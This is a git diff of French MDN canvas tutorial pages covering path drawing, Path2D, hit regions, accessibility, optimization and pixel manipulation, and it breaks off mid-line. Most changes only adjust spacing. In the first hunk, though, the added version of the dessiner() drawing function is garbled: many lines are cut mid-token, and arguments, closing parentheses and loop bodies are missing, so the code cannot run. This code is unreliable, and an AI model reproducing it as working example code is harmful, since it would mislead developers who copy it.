automatiquement appelée avec les paramètres (0,0). En d'autres termes, la position en cours du stylo est automatiquement réinitialisée aux coordonnées par défaut. +Quand cette méthode est exécutée, la méthode `moveTo()` est automatiquement appelée avec les paramètres (0,0). En d'autres termes, la position en cours du stylo est automatiquement réinitialisée aux coordonnées par défaut. ### Combiner les possibilités -Jusqu'à présent, chaque exemple de cette page a utilisé un seul type de fonction de trajet par forme. Cependant, il n'y a pas de limite au nombre ou aux types de trajets que vous pouvez utiliser pour créer une forme. Ainsi, dans ce dernier exemple, combinons toutes les fonctions de trajet pour faire un ensemble de personnages d'un jeu très célèbre. +Jusqu'à présent, chaque exemple de cette page a utilisé un seul type de fonction de trajet par forme. Cependant, il n'y a pas de limite au nombre ou aux types de trajets que vous pouvez utiliser pour créer une forme. Ainsi, dans ce dernier exemple, combinons toutes les fonctions de trajet pour faire un ensemble de personnages d'un jeu très célèbre. ```html hidden <html> - <body onload="dessiner();"> - <canvas id="canevas" width="150" height="150"></canvas> - </body> + <body onload="dessiner();"> + <canvas id="canevas" width="150" height="150"></canvas> + </body> </html> ``` ```js function dessiner() { - var canevas = document.getElementById('canevas'); - if (canevas.getContext) { - var ctx = canevas.getContext('2d'); - - rectArrondi(ctx, 12, 12, 150, 150, 15); - rectArrondi(ctx, 19, 19, 150, 150, 9); - rectArrondi(ctx, 53, 53, 49, 33, 10); - rectArrondi(ctx, 53, 119, 49, 16, 6); - rectArrondi(ctx, 135, 53, 49, 33, 10); - rectArrondi(ctx, 135, 119, 25, 49, 10); - - ctx.beginPath(); - ctx.arc(37, 37, 13, Math.PI/7, -Math.PI/7, false); - ctx.lineTo(31, 37); - ctx.fill(); - - for(var i = 0; i< 8; i++) { - ctx.fillRect(51 + i * 16, 35, 4, 4); - } - - for(i = 0; i < 6; i++) { - ctx.fillRect(115, 51 + i * 16, 4, 4); - } - - for(i = 0; i < 8; i++) { - ctx.fillRect(51 + i * 16, 99, 4, 4); - } - - ctx.beginPath(); - ctx.moveTo(83, 116); - ctx.lineTo(83, 102); - ctx.bezierCurveTo(83, 94, 89, 88, 97, 88); - ctx.bezierCurveTo(105, 88, 111, 94, 111, 102); - ctx.lineTo(111, 116); - ctx.lineTo(106.333, 111.333); - ctx.lineTo(101.666, 116); - ctx.lineTo(97, 111.333); - ctx.lineTo(92.333, 116); - ctx.lineTo(87.666, 111.333); - ctx.lineTo(83, 116); - ctx.fill(); - - ctx.fillStyle = "white"; - ctx.beginPath(); - ctx.moveTo(91, 96); - ctx.bezierCurveTo(88, 96, 87, 99, 87, 101); - ctx.bezierCurveTo(87, 103, 88, 106, 91, 106); - ctx.bezierCurveTo(94, 106, 95, 103, 95, 101); - ctx.bezierCurveTo(95, 99, 94, 96, 91, 96); - ctx.moveTo(103, 96); - ctx.bezierCurveTo(100, 96, 99, 99, 99, 101); - ctx.bezierCurveTo(99, 103, 100, 106, 103, 106); - ctx.bezierCurveTo(106, 106, 107, 103, 107, 101); - ctx.bezierCurveTo(107, 99, 106, 96, 103, 96); - ctx.fill(); - - ctx.fillStyle = "black"; - ctx.beginPath(); - ctx.arc(101, 102, 2, 0, Math.PI * 2, true); - ctx.fill(); - - ctx.beginPath(); - ctx.arc(89, 102, 2, 0, Math.PI * 2, true); - ctx.fill(); - } + var canevas = document.getElementById('canevas'); + if (canevas.getContext) { + var ctx = canevas.getContext('2d'); + + rectArrondi(ctx, 12, 12, 150, 150, 15 + rectArrondi(ctx, 19, 19, 150, 150, 9) + rectArrondi(ctx, 53, 53, 49, 33, 10); + rectArrondi(ctx, 53, 119, 49, 16, 6); + rectArrondi(ctx, 1 + rectArrondi(ctx, + + ctx.beginPath(); + ctx.arc(37, + ctx.lineTo(31, 37); + ctx.fill(); + + for(var i = 0; i< 8; i++ + + } + + for(i = 0; i < 6; i++) { + + } + + for(i = 0; i < 8; i+ + ctx.fillRect(51 + i * + } + + ctx.beginPat + ctx.moveTo(83, 116); + ctx.lineTo(83, 1 + ctx.bezierCurveTo(8 + ctx.bezierCurveTo(105, 88, 1 + ctx.lineTo(111, 116) + ctx.lineTo(1 + ctx.lineTo(101.666, + ctx.lineTo(97, 1 + ctx.lineTo(92.333, + ctx.lineTo(87.666, 111.333); + ctx.lineTo(83, 116); + ctx.fill(); + + ctx.fillStyle = + ctx.beginPath(); + ctx.moveTo(9 + ctx.bezierCurveT + ctx.bezierCurveTo(87, 103, 88, 106, 91, 10 + ctx.bezierCu + ctx.bezierCurveTo(95, 99 + ctx.moveTo(103, + ctx.bezierCurveTo(100, 96, 99, 99, 99, 101) + ctx.bezierCu + ctx.bezierCurveT + ctx.bezierCurveTo(107, 99, 106, 96, 103, 9 + ctx.fill(); + + ctx.fillStyle = + ctx.beginPath(); + ctx.arc(101, + ctx.fill(); + + ctx.beginPath(); + ctx.arc(89, 102, 2, 0, Math.PI * 2, true); + ctx.fill(); + } } // Une fonction utilitaire pour tracer des rectangles avec des coins arrondis function rectArrondi(ctx, x, y, largeur, hauteur, rayon) { - ctx.beginPath(); - ctx.moveTo(x, y + rayon); - ctx.lineTo(x, y + hauteur - rayon); - ctx.quadraticCurveTo(x, y + hauteur, x + rayon, y + hauteur); - ctx.lineTo(x + largeur - rayon, y + hauteur); - ctx.quadraticCurveTo(x + largeur, y + hauteur, x + largeur, y + hauteur - rayon); - ctx.lineTo(x + largeur, y + rayon); - ctx.quadraticCurveTo(x + largeur, y, x + largeur - rayon, y); - ctx.lineTo(x + rayon,y); - ctx.quadraticCurveTo(x, y, x, y + rayon); - ctx.stroke(); + ctx.beginPath(); + ctx.moveTo(x, y + rayon); + ctx.lineTo(x, y + hauteur - rayon); + ctx.quadraticCurveTo(x, y + hauteur, x + rayon, y + hauteur); + ctx.lineTo(x + largeur - rayon, y + hauteur); + ctx.quadraticCurveTo(x + largeur, y + hauteur, x + largeur, y + hauteur - rayon); + ctx.lineTo(x + largeur, y + rayon); + ctx.quadraticCurveTo(x + largeur, y, x + largeur - rayon, y); + ctx.lineTo(x + rayon,y); + ctx.quadraticCurveTo(x, y, x, y + rayon); + ctx.stroke(); } ``` -L'image résultante ressemble à ce qui suit : +L'image résultante ressemble à ce qui suit : {{EmbedLiveSample("Combiner_les_possibilités", 160, 160)}} -Nous ne l'expliquerons pas plus en détails, du fait que c'est étonnament simple. Les choses les plus importantes à noter sont l'utilisation de la propriété `fillStyle` sur le contexte du dessin, et l'utilisation d'une fonction utilitaire dans ce cas, rectArrondi`())`. L'utilisation de fonctions utilitaires pour des éléments de dessin que vous faites souvent peut être très utile, et peut réduire la quantité de code dont vous avez besoin, ainsi que sa complexité. +Nous ne l'expliquerons pas plus en détails, du fait que c'est étonnament simple. Les choses les plus importantes à noter sont l'utilisation de la propriété `fillStyle` sur le contexte du dessin, et l'utilisation d'une fonction utilitaire dans ce cas, rectArrondi`())`. L'utilisation de fonctions utilitaires pour des éléments de dessin que vous faites souvent peut être très utile, et peut réduire la quantité de code dont vous avez besoin, ainsi que sa complexité. -Nous reviendrons sur `fillStyle` plus en détail plus loin dans ce tutoriel. Pour l'instant, tout ce que nous faisons est de l'utiliser pour changer en blanc la couleur pour les trajets depuis la couleur noire par défaut, et inversement ensuite. +Nous reviendrons sur `fillStyle` plus en détail plus loin dans ce tutoriel. Pour l'instant, tout ce que nous faisons est de l'utiliser pour changer en blanc la couleur pour les trajets depuis la couleur noire par défaut, et inversement ensuite. ## Objets Path2D Comme nous l'avons vu dans le dernier exemple, il peut y avoir une série de trajets et d'instructions de dessin pour dessiner des objets sur votre canevas. Pour simplifier le code et améliorer les performances, l'objet [`Path2D`](/fr/docs/Web/API/Path2D), disponible dans les versions récentes des navigateurs, vous permet de mettre en cache ou d'enregistrer ces instructions de dessin. Vous pourrez alors rejouer vos trajets rapidement. Voyons comment nous pouvons construire un objet `Path2D` : - {{domxref("Path2D.Path2D", "Path2D()")}} - - : Le constructor **`Path2D()`** retourne un objet `Path2D` nouvellement instancié, optionellement avec un autre trajet comme argument (crée une copie), ou optionellement avec une chaîne constituée de données de [trajet SVG](/fr-FR/docs/Web/SVG/Tutorial/Paths). + - : Le constructor **`Path2D()`** retourne un objet `Path2D` nouvellement instancié, optionellement avec un autre trajet comme argument (crée une copie), ou optionellement avec une chaîne constituée de données de [trajet SVG](/fr-FR/docs/Web/SVG/Tutorial/Paths). <!----> @@ -507,16 +507,16 @@ Comme nous l'avons vu dans le dernier exemple, il peut y avoir une série de tra new Path2D(trajet); // copie depuis un autre objet Path2D new Path2D(d); // trajet depuis des données de trajet SVG -Toutes les [méthodes de trajet](/en-US/docs/Web/API/CanvasRenderingContext2D#Paths) telles que `moveTo`, `rect`, `arc` ou `quadraticCurveTo`, etc., que nous avons appris à connaître ci-dessus, sont disponibles sur les objets `Path2D`. +Toutes les [méthodes de trajet](/en-US/docs/Web/API/CanvasRenderingContext2D#Paths) telles que `moveTo`, `rect`, `arc` ou `quadraticCurveTo`, etc., que nous avons appris à connaître ci-dessus, sont disponibles sur les objets `Path2D`. -L'API `Path2D` ajoute aussi une manière de combiner des trajets en utilisant la méthode `addPath`. Cela peut être utile quand vous voulez contruire des objets à partir de plusieurs composants, par exemple. +L'API `Path2D` ajoute aussi une manière de combiner des trajets en utilisant la méthode `addPath`. Cela peut être utile quand vous voulez contruire des objets à partir de plusieurs composants, par exemple. -- {{domxref("Path2D.addPath", "Path2D.addPath(trajet [, transformation])")}} - - : Ajoute un trajet, au trajet en cours, avec une matrice de transformation. +- {{domxref("Path2D.addPath", "Path2D.addPath(trajet [, transformation])")}} + - : Ajoute un trajet, au trajet en cours, avec une matrice de transformation. ### Exemple de Path2D -Dans cet exemple, on crée un rectangle et un cercle. Tous deux sont stockés comme des objets `Path2D`, de sorte qu'ils sont disponibles pour un usage ultérieur. Avec la nouvelle API `Path2D`, plusieurs méthodes ont été mises à jour pour accepter optionnellement un objet `Path2D` à utiliser au lieu du trajet en cours. Ici, `stroke` et `fill` sont utilisés avec un argument de trajet pour dessiner les deux objets sur le canevas, par exemple. +Dans cet exemple, on crée un rectangle et un cercle. Tous deux sont stockés comme des objets `Path2D`, de sorte qu'ils sont disponibles pour un usage ultérieur. Avec la nouvelle API `Path2D`, plusieurs méthodes ont été mises à jour pour accepter optionnellement un objet `Path2D` à utiliser au lieu du trajet en cours. Ici, `stroke` et `fill` sont utilisés avec un argument de trajet pour dessiner les deux objets sur le canevas, par exemple. ```html hidden <html> @@ -547,11 +547,11 @@ function dessiner() { {{EmbedLiveSample("Exemple_de_Path2D", 130, 110, "path2d.png")}} -### Utilisation de trajets SVG +### Utilisation de trajets SVG -Une autre fonctionnalité puissante de la nouvelle API `Path2D` de canevas est l'utilisation de [données de trajet SVG](/fr-FR/docs/Web/SVG/Tutorial/Paths) pour initialiser des trajets sur votre canevas. Cela peut vous permettre de faire circuler des données de trajet et les réutiliser, à la fois en SVG et dans un canevas. +Une autre fonctionnalité puissante de la nouvelle API `Path2D` de canevas est l'utilisation de [données de trajet SVG](/fr-FR/docs/Web/SVG/Tutorial/Paths) pour initialiser des trajets sur votre canevas. Cela peut vous permettre de faire circuler des données de trajet et les réutiliser, à la fois en SVG et dans un canevas. -Le trajet se déplacera au point (`M10 10`) et se déplacera alors de 80 points horizontalement vers la droite (`h 80`), ensuite de 80 points vers le bas (`v 80`), puis de 80 points vers la gauche (`h -80`), et reviendra alors au départ (`z`). Vous pouvez voir cet exemple sur la page du [constructeur P`ath2D`](/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths). +Le trajet se déplacera au point (`M10 10`) et se déplacera alors de 80 points horizontalement vers la droite (`h 80`), ensuite de 80 points vers le bas (`v 80`), puis de 80 points vers la gauche (`h -80`), et reviendra alors au départ (`z`). Vous pouvez voir cet exemple sur la page du [constructeur P`ath2D`](/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths). var p = new Path2D("M10 10 h 80 v 80 h -80 Z"); diff --git a/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.md b/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.md index f6f3ba108f..42b11ed789 100644 --- a/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.md +++ b/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.md @@ -6,11 +6,11 @@ original_slug: Web/API/Canvas_API/Tutoriel_canvas/Hit_regions_and_accessibility --- {{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }} -L'élément {{HTMLElement("canvas")}} lui-même est juste un bitmap et ne fourni aucune information sur les objets dessinés. Le contenu des canvas n'est pas sujet aux outils d'accessibility comme l'est la sémantique HTML. En général vous devriez éviter d'utiliser les canvas sur les sites ou les applications accessibles. Le marche à suivre suivante peut vous aider à les rendre plus accessibles. +L'élément {{HTMLElement("canvas")}} lui-même est juste un bitmap et ne fourni aucune information sur les objets dessinés. Le contenu des canvas n'est pas sujet aux outils d'accessibility comme l'est la sémantique HTML. En général vous devriez éviter d'utiliser les canvas sur les sites ou les applications accessibles. Le marche à suivre suivante peut vous aider à les rendre plus accessibles. ## Moyen de repli -Le contenu à l'intérieur d'un tag `<canvas> ... </canvas>` peut être utilisé comme moyen de secours pour les navigteurs qui ne supportent pas le rendu de canvas. C'est aussi très utile pour les utilisateurs qui utilisent des technologies adaptées (comme les lecteurs d'écran) qui peuvent lire et interpréter les éléments du DOM. Un bon exemple sur [html5accessibility.com](http://www.html5accessibility.com/tests/canvas.html) demontre comment cela peut être fait. +Le contenu à l'intérieur d'un tag `<canvas> ... </canvas>` peut être utilisé comme moyen de secours pour les navigteurs qui ne supportent pas le rendu de canvas. C'est aussi très utile pour les utilisateurs qui utilisent des technologies adaptées (comme les lecteurs d'écran) qui peuvent lire et interpréter les éléments du DOM. Un bon exemple sur [html5accessibility.com](http://www.html5accessibility.com/tests/canvas.html) demontre comment cela peut être fait. ```html <canvas> @@ -25,11 +25,11 @@ Le contenu à l'intérieur d'un tag `<canvas> ... </canvas>` peut être utilis </canvas> ``` -Jetez un oeil à la [video comment NVDA lit cet exemple par Steve Faulkner](https://www.youtube.com/watch?v=ABeIFlqYiMQ) (en anglais). +Jetez un oeil à la [video comment NVDA lit cet exemple par Steve Faulkner](https://www.youtube.com/watch?v=ABeIFlqYiMQ) (en anglais). ## Les règles ARIA -Accessible Rich Internet Applications **([ARIA](/en-US/docs/Web/Accessibility/ARIA))** (≈ [Les applications Internet Accessibles Riches)](https://fr.wikipedia.org/wiki/Accessible_Rich_Internet_Applications) défini des pistes pour rendre le contenu Web et les applications Web plus accessibles pour les personnes ayant un handicap. Vous pouvez utiliser les attributs ARIA pour decrire le comportement et le but de vos éléments canvas. Allez voir [ARIA](/en-US/docs/Web/Accessibility/ARIA) et [les techniques ARIA](/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques) pour plus d'informations. +Accessible Rich Internet Applications **([ARIA](/en-US/docs/Web/Accessibility/ARIA))** (≈ [Les applications Internet Accessibles Riches)](https://fr.wikipedia.org/wiki/Accessible_Rich_Internet_Applications) défini des pistes pour rendre le contenu Web et les applications Web plus accessibles pour les personnes ayant un handicap. Vous pouvez utiliser les attributs ARIA pour decrire le comportement et le but de vos éléments canvas. Allez voir [ARIA](/en-US/docs/Web/Accessibility/ARIA) et [les techniques ARIA](/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques) pour plus d'informations. ```html <canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"></canvas> @@ -37,16 +37,16 @@ Accessible Rich Internet Applications **([ARIA](/en-US/docs/Web/Accessibility/AR ## Zones cibles (hit Region) -Que les coordonnés de la souris soient dans une zone particulière des canvas, est un problème fréquent à résoudre. L'API de la "hit region" vous permet de definir une zone de votre canvas et offre une autre possibilité pour proposer du contenu interactif dans les canvas a destination des outils d'accessibilité. Il permet de rendre la "hit detection" plus simple easier and vous laisser envoyer des événements aux éléments du DOM. L'API a les trois methodes suivantes (qui sont encore expérimentales dans les navigateurs actuel ; reportez-vous au tableau des comptibilités des navigateurs). +Que les coordonnés de la souris soient dans une zone particulière des canvas, est un problème fréquent à résoudre. L'API de la "hit region" vous permet de definir une zone de votre canvas et offre une autre possibilité pour proposer du contenu interactif dans les canvas a destination des outils d'accessibilité. Il permet de rendre la "hit detection" plus simple easier and vous laisser envoyer des événements aux éléments du DOM. L'API a les trois methodes suivantes (qui sont encore expérimentales dans les navigateurs actuel ; reportez-vous au tableau des comptibilités des navigateurs). - {{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}} - : Ajoute une "hit region" au canvas.. - {{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}} - - : Supprime la "hit region" avec l'`id` spécifiée venant du canvas. + - : Supprime la "hit region" avec l'`id` spécifiée venant du canvas. - {{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}} - : Retire toutes les "hit regions" du cnavas. -Vous pouvez ajouter une "hit region" à votre chemin et vérifier la propriété {{domxref("MouseEvent.region")}} pour tester si votre souris entre dans votre région, par exemple. +Vous pouvez ajouter une "hit region" à votre chemin et vérifier la propriété {{domxref("MouseEvent.region")}} pour tester si votre souris entre dans votre région, par exemple. ```html <canvas id="canvas"></canvas> @@ -60,29 +60,29 @@ ctx.fill(); ctx.addHitRegion({id: 'circle'}); canvas.addEventListener('mousemove', function(event) { - if (event.region) { - alert('hit region: ' + event.region); - } + if (event.region) { + alert('hit region: ' + event.region); + } }); </script> ``` -La méthode `addHitRegion()` accepte aussi une option de `control` pour envoyer des événement vers un élément (c'est un enfant des canvas): +La méthode `addHitRegion()` accepte aussi une option de `control` pour envoyer des événement vers un élément (c'est un enfant des canvas): ```js ctx.addHitRegion({control: element}); ``` -Cela peut être utile pour le routage d'éléments {{HTMLElement("input")}}, par exemple. Regardez aussi [codepen demo](http://codepen.io/adobe/pen/BhcmK). +Cela peut être utile pour le routage d'éléments {{HTMLElement("input")}}, par exemple. Regardez aussi [codepen demo](http://codepen.io/adobe/pen/BhcmK). ## Focus rings -Quand on travaille avec le clavier, focus rings (anneaux de mise au point) sont utilies pour aider dans la navigation sur une page. Pour dessiner des "focus ring" dans un dessin de canvas, la propriété `drawFocusIfNeeded` peut être utilisée. +Quand on travaille avec le clavier, focus rings (anneaux de mise au point) sont utilies pour aider dans la navigation sur une page. Pour dessiner des "focus ring" dans un dessin de canvas, la propriété `drawFocusIfNeeded` peut être utilisée. - {{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}} - : Si un élément donné est ciblé, cette méthode dessine un anneaud de mise ne valeur autoure du chemin courant. -De plus, la méthode `scrollPathIntoView()` peut être utilisée pour rendre visible un élément dans une page s'il est ciblé, par exemple. +De plus, la méthode `scrollPathIntoView()` peut être utilisée pour rendre visible un élément dans une page s'il est ciblé, par exemple. - {{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}} - : Affiche le chemin courant ou le chemin donné. diff --git a/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.md b/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.md index 7b3b723efb..ded7ba9431 100644 --- a/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.md +++ b/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.md @@ -6,13 +6,13 @@ original_slug: Web/API/Canvas_API/Tutoriel_canvas/Optimizing_canvas --- {{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}} -L'élément {{HTMLElement("canvas")}} est l'un des standards les plus utilisés pour le rendu graphique 2D sur le web. Il est surtout utilisé dans les jeux et les visualisations complexes. Cependant, les sites et applications web poussent les canvas à leurs limites, et les performances commencent à en pâtir. Cet article propose des suggestions pour optimiser votre utilisation de l'élément canvas, et pour être certain que votre site ou application web fonctionne bien. +L'élément {{HTMLElement("canvas")}} est l'un des standards les plus utilisés pour le rendu graphique 2D sur le web. Il est surtout utilisé dans les jeux et les visualisations complexes. Cependant, les sites et applications web poussent les canvas à leurs limites, et les performances commencent à en pâtir. Cet article propose des suggestions pour optimiser votre utilisation de l'élément canvas, et pour être certain que votre site ou application web fonctionne bien. ## Conseils sur les performances Ceci est une liste de conseils pour améliorer les performances -### Pré-rendre les primitifs similaires ou répéter les objects dans un canvas hors-champ +### Pré-rendre les primitifs similaires ou répéter les objects dans un canvas hors-champ Si vous avez besoin d'ajouter un dessin complexe identique à chaque image rendue, préférez l'utilisation d'un canvas hors-champ, le rendre une fois (ou à chaque fois qu'il change) sur ce canvas, puis dessinez-le sur le canvas principal à chaque image rendue. @@ -72,7 +72,7 @@ Si comme pour la plupart des jeux, vous utilisez une image de fond statique, pr ### Redimensionner les canvas avec CSS transform -[Les transformations CSS](/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS) sont plus rapides car elles utilisent le GPU. Le mieux est d'utiliser un canvas plus grand et de réduire sa taille. Pour Firefox OS, les dimensions sont de 480 x 320 px. +[Les transformations CSS](/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS) sont plus rapides car elles utilisent le GPU. Le mieux est d'utiliser un canvas plus grand et de réduire sa taille. Pour Firefox OS, les dimensions sont de 480 x 320 px. ```js var scaleX = window.innerWidth / canvas.width; @@ -85,7 +85,7 @@ stage.style.transformOrigin = "0 0"; //scale from top left stage.style.transform = "scale(" + scaleToFit + ")"; ``` -### Utiliser l'attribut `moz-opaque` (Gecko only) +### Utiliser l'attribut `moz-opaque` (Gecko only) Si le canvas n'a pas besoin de transparence, ajouter l'attribut `moz-opaque` dans la balise canvas. Cette information peut être utilisée par le navigateur pour optimiser le rendu. diff --git a/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.md b/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.md index 7c6fadf160..49b70c9c31 100644 --- a/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.md +++ b/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.md @@ -13,29 +13,29 @@ Jusqu'à présent, nous n'avons pas examiné dans le détail les pixels réels d L'objet {{domxref("ImageData")}} représente les données de pixels sous-jacentes à une zone d'un objet canevas. Il contient les attributs (en lecture seule) suivants : - `width` - - : La largeur de l'image en pixels. + - : La largeur de l'image en pixels. - `height` - - : La hauteur de l'image en pixels. + - : La hauteur de l'image en pixels. - `data` - - : Un {{jsxref("Uint8ClampedArray")}} représentant un tableau monodimensionnel contenant les données dans l'ordre RVBA, ayant des valeurs entières entre 0 et 255 (inclus). + - : Un {{jsxref("Uint8ClampedArray")}} représentant un tableau monodimensionnel contenant les données dans l'ordre RVBA, ayant des valeurs entières entre 0 et 255 (inclus). -La propriété `data` retourne un tableau {{jsxref("Uint8ClampedArray")}} auquel on peut accéder pour voir plus en détail les données brutes des pixels ; chaque pixel est représenté par quatre valeurs sur un octet (rouge, vert, bleu et alpha, dans cet ordre ; c'est-à-dire, le format "RVBA"). Chaque composante de couleur est représentée par un entier entre 0 et 255. Chaque composante reçoit un indice à l'intérieur du tableau, la composante rouge du pixel supérieur gauche étant à l'indice 0 à l'intérieur du tableau. Les pixels continuent ensuite de gauche à droite, puis vers le bas, jusqu'au bout du tableau. +La propriété `data` retourne un tableau {{jsxref("Uint8ClampedArray")}} auquel on peut accéder pour voir plus en détail les données brutes des pixels ; chaque pixel est représenté par quatre valeurs sur un octet (rouge, vert, bleu et alpha, dans cet ordre ; c'est-à-dire, le format "RVBA"). Chaque composante de couleur est représentée par un entier entre 0 et 255. Chaque composante reçoit un indice à l'intérieur du tableau, la composante rouge du pixel supérieur gauche étant à l'indice 0 à l'intérieur du tableau. Les pixels continuent ensuite de gauche à droite, puis vers le bas, jusqu'au bout du tableau. -Le {{jsxref("Uint8ClampedArray")}} contient `height`_(hauteur)_ × `width`*(largeur)* × 4 octets, dont les valeurs d'indices vont de 0 à (`height`×`width`×4)-1. +Le {{jsxref("Uint8ClampedArray")}} contient `height`_(hauteur)_ × `width`*(largeur)* × 4 octets, dont les valeurs d'indices vont de 0 à (`height`×`width`×4)-1. -Par exemple, pour lire la valeur de la composante bleue d'un pixel situé en colonne 200, ligne 50 de l'image, vous pouvez faire ce qui suit : +Par exemple, pour lire la valeur de la composante bleue d'un pixel situé en colonne 200, ligne 50 de l'image, vous pouvez faire ce qui suit : ```js composanteBleue = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2]; ``` -Vous pouvez accéder à la taille en octets du tableau de pixels en lisant l'attribut `Uint8ClampedArray.length` : +Vous pouvez accéder à la taille en octets du tableau de pixels en lisant l'attribut `Uint8ClampedArray.length` : ```js var nbOctets = imageData.data.length; ``` -## Création d'un objet `ImageData` +## Création d'un objet `ImageData` Pour créer un nouvel objet `ImageData` vierge, vous pouvez utiliser la méthode [`createImageData()`](/fr/docs/Web/API/CanvasRenderingContext2D/createImageData). Il existe deux versions de la méthode `createImageData()` : @@ -43,9 +43,9 @@ Pour créer un nouvel objet `ImageData` vierge, vous pouvez utiliser la méthode var monImageData = ctx.createImageData(largeur, hauteur); ``` -Cela crée un nouvel objet `ImageData` avec les dimensions spécifiées. Tous les pixels sont prédéfinis comme étant noirs transparents. +Cela crée un nouvel objet `ImageData` avec les dimensions spécifiées. Tous les pixels sont prédéfinis comme étant noirs transparents. -Vous pouvez aussi créer un nouvel objet `ImageData` ayant les mêmes dimensions que celles de l'objet indiqué par `autreImageData`. Les pixels du nouvel objet sont tous prédéfinis comme étant noirs transparents. **Cela ne copie pas les données d'image !** +Vous pouvez aussi créer un nouvel objet `ImageData` ayant les mêmes dimensions que celles de l'objet indiqué par `autreImageData`. Les pixels du nouvel objet sont tous prédéfinis comme étant noirs transparents. **Cela ne copie pas les données d'image !** ```js var monImageData = ctx.createImageData(autreImageData); @@ -53,17 +53,17 @@ var monImageData = ctx.createImageData(autreImageData); ## Obtention des données pixel pour un contexte -Pour obtenir un objet `ImageData` contenant une copie des données pixel pour un contexte de canevas, vous pouvez utiliser la méthode `getImageData()` : +Pour obtenir un objet `ImageData` contenant une copie des données pixel pour un contexte de canevas, vous pouvez utiliser la méthode `getImageData()` : ```js var monImageData = ctx.getImageData(gauche, haut, largeur, hauteur); ``` -Cette méthode retourne un objet `ImageData` représentant les données pixel pour la zone du canevas dont les coins sont représentés par les points (`left`,`top`) _`(gauche,haut)`_, (`left+width`, `top`) _(gauche+largeur, haut)_, (`left`, `top+height`) _(gauche, haut+hauteur)_ et (`left+width`, `top+height`) _(gauche+largeur, haut+hauteur)_. Les coordonnées sont spécifiées en unités d'espace de coordonnées du canevas. +Cette méthode retourne un objet `ImageData` représentant les données pixel pour la zone du canevas dont les coins sont représentés par les points (`left`,`top`) _`(gauche,haut)`_, (`left+width`, `top`) _(gauche+largeur, haut)_, (`left`, `top+height`) _(gauche, haut+hauteur)_ et (`left+width`, `top+height`) _(gauche+largeur, haut+hauteur)_. Les coordonnées sont spécifiées en unités d'espace de coordonnées du canevas. -> **Note :** Tous les pixels en dehors du canevas seront retournés comme noirs transparents dans l'objet `ImageData` résultant. +> **Note :** Tous les pixels en dehors du canevas seront retournés comme noirs transparents dans l'objet `ImageData` résultant. -Cette méthode est aussi présentée dans l'article [Manipulation vidéo utilisant canvas](/fr/docs/HTML/Manipulating_video_using_canvas). +Cette méthode est aussi présentée dans l'article [Manipulation vidéo utilisant canvas](/fr/docs/HTML/Manipulating_video_using_canvas). ### Une pipette à couleur @@ -105,9 +105,9 @@ Vous pouvez utiliser la méthode [`putImageData()`](/fr/docs/Web/API/CanvasRende ctx.putImageData(monImageData, dx, dy); ``` -Les paramètres `dx` et `dy` indiquent les coordonnées système dans le contexte du coin supérieur gauche des données pixel qui doivent être peintes. +Les paramètres `dx` et `dy` indiquent les coordonnées système dans le contexte du coin supérieur gauche des données pixel qui doivent être peintes. -Par exemple, pour peindre l'image entière représentée par `monImageData` dans le coin supérieur gauche du contexte, vous pouvez simplement faire ce qui suit : +Par exemple, pour peindre l'image entière représentée par `monImageData` dans le coin supérieur gauche du contexte, vous pouvez simplement faire ce qui suit : ```js ctx.putImageData(monImageData, 0, 0); @@ -115,7 +115,7 @@ ctx.putImageData(monImageData, 0, 0); ### Niveaux de gris et inversion de couleurs -Dans cet exemple, nous itérons sur tous les pixels pour changer leurs valeurs, puis nous remettons le tableau de pixels modifié sur le canevas à l'aide de [putImageData()](/fr-FR/docs/Web/API/CanvasRenderingContext2D/putImageData). La fonction inversion soustrait simplement chaque couleur de la valeur maximale 255. La fonction grayscale _(niveaux de gris)_ fait simplement la moyenne du rouge, du vert et du bleu. Vous pouvez également utiliser une moyenne pondérée, donnée par la formule x = 0.299r + 0.587v + 0.114b, par exemple. Voir [Niveaux de gris](https://fr.wikipedia.org/wiki/Niveau_de_gris) sur Wikipedia pour plus d'informations. +Dans cet exemple, nous itérons sur tous les pixels pour changer leurs valeurs, puis nous remettons le tableau de pixels modifié sur le canevas à l'aide de [putImageData()](/fr-FR/docs/Web/API/CanvasRenderingContext2D/putImageData). La fonction inversion soustrait simplement chaque couleur de la valeur maximale 255. La fonction grayscale _(niveaux de gris)_ fait simplement la moyenne du rouge, du vert et du bleu. Vous pouvez également utiliser une moyenne pondérée, donnée par la formule x = 0.299r + 0.587v + 0.114b, par exemple. Voir [Niveaux de gris](https://fr.wikipedia.org/wiki/Niveau_de_gris) sur Wikipedia pour plus d'informations. ```html hidden <canvas id="canevas" width="300" height="227"></canvas> @@ -189,8 +189,8 @@ zoomctx.drawImage(canvas, <canvas id="zoom" width="300" height="227"></canvas> <div> <label for="smoothbtn"> - <input type="checkbox" 